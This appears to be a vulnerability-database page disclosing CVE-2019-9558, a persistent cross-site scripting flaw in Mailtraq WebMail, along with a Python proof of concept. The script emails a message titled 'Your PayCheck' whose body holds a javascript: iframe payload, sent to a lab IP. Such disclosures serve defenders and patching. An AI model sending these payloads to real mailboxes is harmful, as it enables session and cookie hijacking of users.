Lucene search
K

Mailtraq WebMail 2.17.7.3550 Cross Site Scripting

🗓️ 04 Mar 2019 00:00:00Reported by Aloyce J. MakalangaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 61 Views

Mailtraq WebMail 2.17.7.3550 Persistent Cross Site Scripting (XSS) via Email Bod

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2019-9558
12 Mar 201920:00
cve
Cvelist
CVE-2019-9558
12 Mar 201920:00
cvelist
EUVD
EUVD-2019-18929
7 Oct 202500:30
euvd
NVD
CVE-2019-9558
12 Mar 201920:29
nvd
OSV
CVE-2019-9558
12 Mar 201920:29
osv
Prion
Cross site scripting
12 Mar 201920:29
prion
`# Exploit Title: Persistent Cross Site Scripting (XSS) - Mailtraq WebMail version 2.17.7.3550  
# CVE: CVE-2019-9558  
# Exploit Author: Aloyce J. Makalanga  
# Contact: https://twitter.com/aloycemjr <https://twitter.com/aloycemjr>  
# Vendor Homepage: http://www.mailtraq.com/mail-server-software  
# Category: webapps  
# Attack Type: Remote  
# Impact: Data/Cookie hijacking  
  
  
1. Description  
  
  
Mailtraq WebMail version 2.17.7.3550 has Persistent Cross Site  
> Scripting (XSS) via the body of an e-mail message. To exploit the  
> vulnerability, the victim must open an email with malicious Javascript  
> inserted into the body of the email as an iframe.  
  
  
  
2. Proof of Concept  
#!/usr/bin/env python -tt  
# -*- coding: utf-8 -*-  
  
# Import modules  
import smtplib  
  
  
def trigger_persistence_xss():  
email_addr = '[email protected]'  
email = 'From: %s\n' % email_addr  
email += 'To: %s\n' % email_addr  
email += 'Subject: Your PayCheck\n'  
email += 'Content-type: text/html\n\n'  
email += "<IFRAME SRC='javascript:alert('XSS');'></IFRAME>"  
s = smtplib.SMTP('192.168.1.172', 25)  
s.sendmail(email_addr, email_addr, email)  
s.quit()  
  
  
def main():  
pass  
  
  
if __name__ == '__main__':  
trigger_persistence_xss()  
main()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation